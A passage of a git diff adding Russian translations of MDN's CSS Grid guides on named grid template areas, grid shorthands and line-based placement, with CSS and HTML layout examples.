+<p>С помощью свойства {{cssxref("grid-area")}} мы можем назначить каждой из этих областей свое собственное имя. Именование областей еще не создает никакого макета, однако теперь у нас есть именнованные области, которые мы можем в нем использовать.</p>
+
+<div id="Grid_Area_1">
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<p>Определив имена, мы можем приступить к созданию макета. На этот раз вместо того, чтобы расположить элементы с помощью номеров линий, заданных для самих элементов, мы создаем весь макет в грид-контейнере.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p> </p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p>
+</div>
+
+<p>Если мы используем этот метод, то нам не нужно задавать что-то отдельно для грид-элементов, все задается для грид-контейнера. Весь макет описывается значением свойства {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Оставляем_ячейку_пустой">Оставляем ячейку пустой</h2>
+
+<p>В данном примере мы полностью заполнили грид областями и не оставили пустого пространства. Однако, наш метод также позволяет оставлять грид-ячейки пустыми. Чтобы сделать это воспользуйтесь символом точки, '<code>.</code>'. Если нам нужно отображать футер только под основным содержимым страницы, значит, мы должны оставить три ячейки под сайдбаром пустыми.</p>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Leaving_a_grid_cell_empty', '300', '330') }}</p>
+
+<p>Чтобы сделать наш макет чище, мы можем использовать множество символов <code>.</code>. Если между точками нет пробелов, то они считаются одной ячейкой. В комплексных макетах подобная возможность помогает аккуратно выравнивать строки и колонки. То есть, Вы прямо в CSS можете видеть, как выглядит Ваш макет.</p>
+
+<h2 id="Охватываем_несколько_ячеек">Охватываем несколько ячеек</h2>
+
+<p>В нашем примере каждая из областей охватывает несколько грид-ячеек, и получаем мы подобный эффект за счет того, что через пробел повторяем имя этой грид-области несколько раз. Вы можете добавить дополнительные пробелы, чтобы аккуратно выравнять значения в <code>grid-template-areas</code>. В нашем примере мы пробелами подравняли <code>hd</code> и <code>ft</code> , чтобы они коррелировали с  <code>main</code>.</p>
+
+<p>Область, которую мы создаем подобными цепочками имен, должна быть прямоугольной. На данном этапе нельзя создать L-образную область. В спецификации говорится, что, возможно, в будущем подобная функциональность добавится. А сейчас мы можем охватывать строки так же легко, как и колонки. Например, давайте сделаем так, чтобы наш сайдбар простирался до конца футера. Для этого поменяем <code>.</code> на <code>sd</code>.</p>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Spanning_multiple_cells', '300', '330') }}</p>
+
+<p>Значение {{cssxref("grid-template-areas")}} должно отображать законченный грид, а иначе оно невалидно (и игнорируется!). Это значит, что у Вас должно быть одинаковое количество ячеек в каждой строке, а если какая-то ячейка должна быть пустой, то вместо имени в ней должна быть точка. Грид будет также невалидным, если области в нем не прямоугольные.</p>
+
+<h2 id="Переопределение_грида_с_медиа-запросами">Переопределение грида с медиа-запросами</h2>
+
+<p>Поскольку наш макет теперь содержится в одной части CSS, вносить изменения для различных контрольных точек (breakpoints) становится крайне легко. Сделать это можно либо переопределив сам грид, либо положение элементов на гриде, либо и то, и другое одновеременно.</p>
+
+<p>При этом определяйте имена для ваших грид-областей за пределами медиа-запросов. В таком случае, область основного содержимого (content) всегда будет называться <code>main</code> независимо от того, где она находится на сетке.</p>
+
+<p>Мы можем теперь изменить наш макет для узкой ширины экрана на более простой, где все грид-области будут друг над другом в одном столбце.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+
+.wrapper {
+    display: grid;
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-columns: 1fr;
+    grid-template-areas:
+      "hd"
+      "main"
+      "sd"
+      "ft";
+}
+</pre>
+
+<p>Внутри медиа-запросов, мы переопределяем этот макет на двухколонный, а при увеличении свободного пространства, на трехколонный. Обратите внимание, что для широкого макета я оставляю свою девятиколонную трековую сетку, а с помощью <code>grid-template-areas</code> я указываю куда стоит разместить грид-области. </p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+    .wrapper {
+        grid-template-columns: repeat(9, 1fr);
+        grid-template-areas:
+          "hd hd hd hd   hd   hd   hd   hd   hd"
+          "sd sd sd main main main main main main"
+          "sd sd sd  ft  ft   ft   ft   ft   ft";
+    }
+}
+@media (min-width: 700px) {
+    .wrapper {
+        grid-template-areas:
+          "hd hd hd   hd   hd   hd   hd   hd hd"
+          "sd sd main main main main main ft ft";
+    }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Redefining_the_grid_using_media_queries', '550', '330') }}</p>
+
+<h2 id="Использование_grid-template-areas_для_элементов_UI">Использование <code>grid-template-areas</code> для элементов UI</h2>
+
+<p>Многие из примеров grid, которые вы найдете в Интернете, предполагают, что вы будете использовать grid для макета главной страницы, однако grid может быть столь же полезна для небольших элементов. Использование {{cssxref ("grid-template-areas")}} может быть особенно приятным, так как в коде легко видеть, как выглядит ваш элемент.</p>
+
+<p>В качестве очень простого примера мы можем создать «медиа-объект». Это компонент с пространством для изображения или другого носителя с одной стороны, а контент - с другой. Изображение может отображаться справа или слева от окна.</p>
+
+<p><img alt="Images showing an example media object design" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p>
+
+<p>Наша сетка представляет собой двухколоночную трековую сетку, со столбцом для изображения размером <code>1fr</code> и текстом <code>3fr</code>. Если вы хотите область с фиксированной шириной изображения, тогда вы можете установить столбец изображения как ширину пикселя и назначить текстовую область <code>1fr</code>. Одна колонка трека <code>1fr</code> затем займет оставшуюся часть пространства.</p>
+
+<p>Мы предоставляем области изображения имя области сетки <code>img</code> и содержимое текстовой области, затем мы можем выложить их, используя свойство <code>grid-template-areas</code>.</p>
+
+<div id="Media_1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media"&gt;
+    &lt;div class="image"&gt;&lt;/div&gt;
+    &lt;div class="text"&gt;This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_1', '300', '200') }}</p>
+</div>
+
+<h3 id="Отображение_изображения_с_другой_стороны_окна">Отображение изображения с другой стороны окна</h3>
+
+<p>Возможно, нам захочется отобразить нашу коробку с изображением наоборот. Для этого мы переопределим сетку, чтобы поместить последний трек <code>1fr</code> и просто переверните значения {{cssxref ("grid-template-areas")}}.</p>
+
+<div id="Media_2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 400px;
+}
+.media {
+    display: grid;
+    grid-template-columns: 1fr 3fr;
+    grid-template-areas: "img content";
+    margin-bottom: 1em;
+}
+
+.media.flipped {
+    grid-template-columns: 3fr 1fr;
+    grid-template-areas: "content img";
+}
+
+.media .image {
+    grid-area: img;
+    background-color: #ffd8a8;
+}
+
+.media .text {
+    grid-area: content;
+    padding: 10px;
+
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media flipped"&gt;
+    &lt;div class="image"&gt;&lt;/div&gt;
+    &lt;div class="text"&gt;This is a media object example.
+      We can use grid-template-areas to switch around the image and text part of the media object.
+    &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Media_2', '300', '200') }}</p>
+</div>
+
+<h2 id="Сокращения_определения_сетки">Сокращения определения сетки</h2>
+
+<p>Рассмотрев различные способы размещения элементов на наших сетках и многие свойства, используемые для определения сетки, самое время взглянуть на пару сокращений, доступных для определения сетки и многое из всего этого в одной строке CSS.</p>
+
+<p>Они могут быстро стать трудными для чтения для других разработчиков или даже для вашего будущего. Однако они являются частью спецификации и, вероятно, вы столкнетесь с ними в примерах или в использовании другими разработчиками, даже если вы решите не использовать их.</p>
+
+<p>Прежде чем использовать какиу-либо сокращения (shorthand), стоит помнить, что shorthand не только позволяют устанавливать множество свойств за один раз, но также действуют, чтобы <strong>сбросить объекты</strong> до их начальных значений, которых вы не используете, или не можете установить в сокращении. Поэтому, если вы используете сокращения, помните, что оно может сбросить все, что вы применили в другом месте.</p>
+
+<p>Два сокращения (shorthand) для контейнера сетки - это Explicit Grid Shorthand <code>grid-template</code> и Grid Definition Shorthand <code>grid</code>.</p>
+
+<h3 id="grid-template"><code>grid-template</code></h3>
+
+<p>Свойство {{cssxref ("grid-template")}} задает следующие свойства:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+</ul>
+
+<p>Свойство называется явным сокращением сетки, потому что оно устанавливает те вещи, которые вы контролируете, когда вы определяете явную сетку, а не те, которые влияют на любые неявные строки или столбцы, которые могут быть созданы.</p>
+
+<p>Следующий код создает макет, используя {{cssxref ("grid-template")}}, который совпадает с макетом, созданным ранее в этом руководстве.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>Первое значение - это значение нашей <code>grid-template-areas</code>, но мы также объявляем размер строки в конце каждой строки. Это то, что делает <code>minmax (100px, auto)</code>.</p>
+
+<p>Затем после <code>grid-template-areas</code> у нас есть косая черта, после чего явный список треков столбцов.</p>
+
+<h3 id="grid"><code>grid</code></h3>
+
+<p>Сокращение {{cssxref ("grid")}} идет еще дальше, а также задает свойства, используемые неявной сеткой. Таким образом, вы будете устанавливать:</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+</ul>
+
+<p>Свойство также сбрасывает {{cssxref ("grid-gap")}} свойство на <code>0</code>, однако вы не можете указывать пробелы в этой сокращенности.</p>
+
+<p>Вы можете использовать этот синтаксис точно так же, как сокращение {{cssxref ("grid-template")}}, просто знайте, что при этом вы сбросите другие значения, установленные этим свойством.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>Мы снова рассмотрим другие функции, предлагаемые этом сокращением позже в этих руководствах, когда мы рассмотрим автоматическое размещение и свойство <code>grid-auto-flow</code>.</p>
+
+<p>Если вы проработали эти начальные руководства, теперь вы должны иметь возможность создавать сетки с использованием линейного размещения или названных областей. Потратьте некоторое время на создание некоторых общих шаблонов макетов с использованием сетки, в то время как есть много новых терминов для изучения, синтаксис относительно прост. По мере того, как вы разрабатываете примеры, вы, вероятно, придумаете некоторые вопросы и воспользуетесь случаями, которые мы еще не рассмотрели. В остальных этих руководствах мы рассмотрим некоторые детали, включенные в спецификацию, - чтобы вы могли начать создавать с ним расширенные макеты.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guides</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Basics concepts of grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relationship to other layout methods</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Line-based placement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Layout using named grid lines</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glossary</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/css/css_grid_layout/расположение_элементов_по_грид-линиям_с_помощью_css_grid/index.html b/files/ru/web/css/css_grid_layout/расположение_элементов_по_грид-линиям_с_помощью_css_grid/index.html
new file mode 100644
index 0000000000..e470a72ce7
--- /dev/null
+++ b/files/ru/web/css/css_grid_layout/расположение_элементов_по_грид-линиям_с_помощью_css_grid/index.html
@@ -0,0 +1,652 @@
+---
+title: Расположение элементов по грид-линиям с помощью CSS Grid
+slug: >-
+  Web/CSS/CSS_Grid_Layout/Расположение_элементов_по_грид-линиям_с_помощью_CSS_Grid
+tags:
+  - CSS
+  - CSS Grid
+  - Грид
+  - Руководство
+  - Сетка
+translation_of: Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid
+---
+<p>В статье, касавшейся <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">основных понятий позиционирования элементов с помощью гридов</a>, мы кратенько рассмотрели, как располагать элементы в гриде, используя номера линий. Теперь давайте детально исследуем то, как работает эта фундаментальная часть спецификации.</p>
+
+<p>Собственно, начать квест по гридам со знакомства с пронумерованными линиями - логично, потому что в ситуации, когда Вы работаете с гридами, пронумерованные линии у Вас есть <strong>всегда</strong>. Линии нумеруются и для колонок, и для строк, отсчет начинается с 1. Нужно заметить, что грид индексируется в соответствии с режимом написания (writing mode) документа. В языках с написанием слева направо, таких как русский, например, линия 1 - самая левая линия грида. Если написание справа налево, то линия 1 будет, соответственно, самой правой линией в гриде. По ходу изучения недр мы детально узнаем, как гриды взаимодействуют с режимами написания, поэтому не исчезайте, впереди много интересного.</p>
+
+<h2 id="Базовый_пример">Базовый пример</h2>
+
+<p>В качестве крайне простого примера давайте возьмем грид с тремя треками-колонками и тремя треками-строками. Такой грид дает нам по 4 линии для каждого направления.</p>
+
+<p>Внутри нашего грид-контейнера у нас есть четыре дочерних элемента. Если мы не размещаем их явным образом, эти элементы будут расположены в гриде в соответствии с правилами авторазмещения, то есть, по одному элементу - в каждой из четырех первых ячеек. Если Вы воспользуетесь <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Firefox Grid Highlighter</a> , то увидете, как грид инициирует колонки и строки.</p>
+
+<p><img alt="Our Grid highlighted in DevTools" src="https://mdn.mozillademos.org/files/14663/3_hilighted_grid.png" style="height: 296px; width: 900px;"></p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+   display: grid;
+   grid-template-columns: repeat(3, 1fr);
+   grid-template-rows: repeat(3, 100px);
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('A_basic_example', '300', '330') }}</p>
+
+<h2 id="Позиционирование_элементов_по_номерам_линий">Позиционирование элементов по номерам линий</h2>
+
+<p>Мы можем воспользоваться размещением по линиям (line-based placement), чтобы расположить элементы на гриде. Например, нам нужно, чтобы первый элемент начинался от левого края и занимал один трек-колонку. Пусть он также начинается с первой строчной линии,  то есть, от верхнего края грида, и занимает пространство до четвертой строчной линии.</p>
+
+<div id="Line_Number">
+<pre class="brush: css notranslate">.box1 {
+   grid-column-start: 1;
+   grid-column-end: 2;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+</pre>
+
+<p>Если Вы явно позиционируете одни элементы, другие элементы грида по-прежнему размещаются в соответствии с правилами авторазмещения. Дальше мы детально рассмотрим, как это происходит, а пока Вы и сами могли заметить, что по мере размещения одних элементов, оставшиеся элементы занимают пустые ячейки грида.</p>
+
+<p>Задавая адреса для каждого элемента по отдельности, мы можем разместить все наши четыре элемента по колонкам и строкам. Заметьте, что при желании можно оставить ячейки пустыми. Одна из самых приятных вещей при работе с Grid Layout - возможность создавать негативное пространство (пустые области в макете) без кувырков через голову и прочих хаков.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box2 {
+   grid-column-start: 3;
+   grid-column-end: 4;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-column-end: 3;
+   grid-row-start: 1;
+   grid-row-end: 2;
+}
+.box4 {
+   grid-column-start: 2;
+   grid-column-end: 4;
+   grid-row-start: 3;
+   grid-row-end: 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Line_Number', '300', '330') }}</p>
+</div>
+
+<div id="Grid_Shorthands">
+<h2 id="Сокращения_grid-column_и_grid-row">Сокращения <code>grid-column</code> и <code>grid-row</code></h2>
+
+<p>Мы написали много кода, чтобы разместить каждый элемент. Неудивительно, что существует <a href="/ru/docs/Web/CSS/Shorthand_properties">краткая форма записи свойств</a>. {{cssxref("grid-column-start")}} и {{cssxref("grid-column-end")}} могут быть объединены в одном {{cssxref("grid-column")}}, а {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}} - в {{cssxref("grid-row")}}.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column: 1 / 2;
+   grid-row: 1 / 4;
+}
+.box2 {
+   grid-column: 3 / 4;
+   grid-row: 1 / 3;
+}
+.box3 {
+   grid-column: 2 / 3;
+   grid-row: 1 /  2;
+}
+.box4 {
+   grid-column: 2 / 4;
+   grid-row: 3 / 4;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Grid_Shorthands', '300', '330') }}</p>
+</div>
+
+<h3 id="Расположение_элемента_по_умолчанию">Расположение элемента по умолчанию</h3>
+
+<p>В примерах выше мы задавали конечную линию для строки и колонки, чтобы продемонстрировать работу свойств, однако, если элемент занимает только один трек, Вы можете опустить значение <code>grid-column-end</code> или <code>grid-row-end</code>. Грид по умолчанию размещает элемент таким образом, чтобы он занимал всего один трек. Это значит, что длинная запись свойств в нашем первоначальном примере может выглядеть вот так:</p>
+
+<div id="End_Lines">
+<div class="hidden">
+<pre class="brush: css notranslate">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+     display: grid;
+     grid-template-columns: repeat(3, 1fr);
+     grid-template-rows: repeat(3, 100px);
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+   &lt;div class="box1"&gt;One&lt;/div&gt;
+   &lt;div class="box2"&gt;Two&lt;/div&gt;
+   &lt;div class="box3"&gt;Three&lt;/div&gt;
+   &lt;div class="box4"&gt;Four&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">.box1 {
+   grid-column-start: 1;
+   grid-row-start: 1;
+   grid-row-end: 4;
+}
+.box2 {
+   grid-column-start: 3;
+   grid-row-start: 1;
+   grid-row-end: 3;
+}
+.box3 {
+   grid-column-start: 2;
+   grid-row-start: 1;
+}
+.box4 {
+   grid-column-start: 2;
